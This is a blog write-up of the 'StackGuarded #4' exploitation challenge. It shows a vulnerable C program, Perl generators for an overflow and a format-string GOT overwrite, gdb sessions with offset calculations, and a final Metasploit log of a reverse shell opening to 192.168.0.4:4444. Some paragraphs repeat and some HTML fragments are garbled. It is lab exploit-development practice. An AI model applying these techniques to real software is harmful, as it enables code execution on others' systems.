gera's StackGuarded #4.
Second, since I don't have access to a proper StackGuard box, I have to fake it by manually setting ebp in main(). With that said, main()'s ebp is fully controllable due to the buffer overflow.
/* sg4.c * * specially crafted to feed your brain by gera@corest.com */ // XXX: Add real encryption here #define decrypt(dest,src) strcpy(dest,src) int check(char *user) { char temp[80]; decrypt(temp,user); // XXX: add some real checks in the future return !strcmp(temp,"gera"); } // XXX: Add real support for internationalization #define LANG_MSG(dest,pattern) strcpy(dest,pattern); int main(int argv, char **argc) { char msg[100]; LANG_MSG(msg,"Get out of here!\n"); if (!check(argc[1])) { printf(msg); exit(1); } exit(0); }There are a few more caveats here. First, I believe that when gera wrote this challenge, StackGuard was using its terminator canary, which looks like "\x00\x0a\xff\x0d", by default. The idea is that these four characters should terminate any string handling function (gets(), strcpy(), etc.) prematurely. This means that the canary can still be overwritten, but the string would terminate before it got to the saved EIP.
Second, since I don't have access to a proper StackGuard box, I have to fake it by manually setting ebp in main(). With that said, main()'s ebp is fully controllable due to the buffer overflow.
Starting program: /home/dennis/sg4/sg4 `perl -e 'print "A" x 84'` Breakpoint 7, check (user=0xbffffba4 'A') at sg4.c:14 14 } (gdb) info frame Stack level 0, frame at 0xbffff9bc: eip = 0x804853b in check (sg4.c:14); saved eip 0x8048500 called by frame at 0x41414141 source language c. Arglist at 0xbffff9bc, args: user=0xbffffba4 'A' Locals at 0xbffff9bc, Previous frame's sp is 0x0 Saved registers: ebp at 0xbffff9bc, eip at 0xbffff9c0 (gdb) x/x 0xbffff9bc 0xbffff9bc: 0x41414141 <-- 0x08048500="" 0xbffff9c0:="" a="" canary="" ebp="" gdb="" is="" main="" pre="" pretend="" s="" saved="" terminator="" this=""> The gist of this exploit is to use the buffer overflow in check() to move main()'s ebp pointer, to control the msg variable. msg will point to a format string crafted in argv[2] allowing a write 4 bytes to any address primitive. To start, I stick some shellcode into an environment variable and get its address. Stack spacing/alignment is important so I duplicate the exploit's arguments.
[dennis@localhost sg4]$ export SG4=`perl sc.pl` [dennis@localhost sg4]$ ./ev4 `perl argv1.pl` `perl argv2.pl` SG4 is at 0xbffffc52I'll also need exit()'s GOT address.[dennis@localhost sg4]$ objdump -R sg4 | grep exit 08049658 R_386_JUMP_SLOT exitHere is argv1.pl#!/usr/bin/perl use warnings; use strict; my $filler1 = "A" x 1; #my $exit_addr1 = "BBBB"; my $exit_addr1 = "\x58\x96\x04\x08"; #my $exit_addr2 = "CCCC"; my $exit_addr2 = "\x5a\x96\x04\x08"; my $filler2 = "A" x (80 - length($filler1) - length($exit_addr1) - length($exit_ addr2)); my $argv1 = $filler1.$exit_addr1.$exit_addr2.$filler2; print $argv1;argv1 overflows the buffer in check(). Note, without caveat number two, this would overwrite the saved ebp with an address that points to the format string in argv[2] (next.) In the beginning of this buffer, I place addresses that point to the low and high bytes of exit()'s GOT entry. argv2.pl contains the format string and it looks like this
#!/usr/bin/perl use warnings; use strict; my $format = "%.64594u%124\$n%.50093u%125\$n"; my $filler3 = "C" x (100 - length($format)); my $argv2 = $format.$filler3; print $argv2;So that offsets didn't change during the development of the format string, I used $filler3 to setup a static "buffer" to work in. Remembering that the shellcode is at 0xbffffc52 the precision values for the %u modifiers are calculated like this
(gdb) print /d 0xfc52 $1 = 64594 (gdb) print /d 0x1bfff - 64594 $2 = 50093The direct argument offsets, 124 and 125, point to the two exit() addresses from argv[1]. They were bruteforce calculated in gdb(gdb) x/x $esp + (125 * 4) 0xbffffb44: 0x08049658 (gdb) x/x $esp + (124 * 4) 0xbffffb48: 0x0804965aWith this setup, the printf(msg) call turns intoprintf("%.64594u%124\$n%.50093u%125\$n", junk1, exit_addr1, junk2, exit_addr2)junk1 and junk2 are taken off the real stack, whereas the two exit_addrs are taken from argv[1]. Exploit.
In the below exploit, ebp is set like
set $ebp = 0xbffffb94 + 1120xbffffb94 is the start of argv[2], which was bruteforce calculated in gdb. 112 is the offset msg is from ebp.(gdb) break 24 Breakpoint 6 at 0x804856d: file sg4.c, line 24. (gdb) run `perl argv1.pl` `perl argv2.pl` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/dennis/sg4/sg4 `perl argv1.pl` `perl argv2.pl` Breakpoint 6, main (argv=1094795585, argc=0x41414141) at sg4.c:24 24 printf(msg); (gdb) set $ebp = 0xbffffb94 + 112 <-- 0xbffffb94:="" 2="" 72="" caveat="" ebp.="" gdb="" manually="" msg="" n="" repeats="" s="" set="" times="" u="" x=""> (gdb) c ... 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000544503 151C Program received signal SIGTRAP, Trace/breakpoint trap. 0x40001e60 in _start () at rtld.c:158 158 rtld.c: No such file or directory. in rtld.c (gdb) fg Continuing. msf exploit(handler) > exploit [*] Started reverse handler on 192.168.0.4:4444 [*] Starting the payload handler... [*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.32:50115) at 2012-09-08 23:19:05 -0500 id uid=500(dennis) gid=500(dennis) groups=500(dennis) pwd /home/dennis/sg4 ^C -->
-->
No comments:
Post a Comment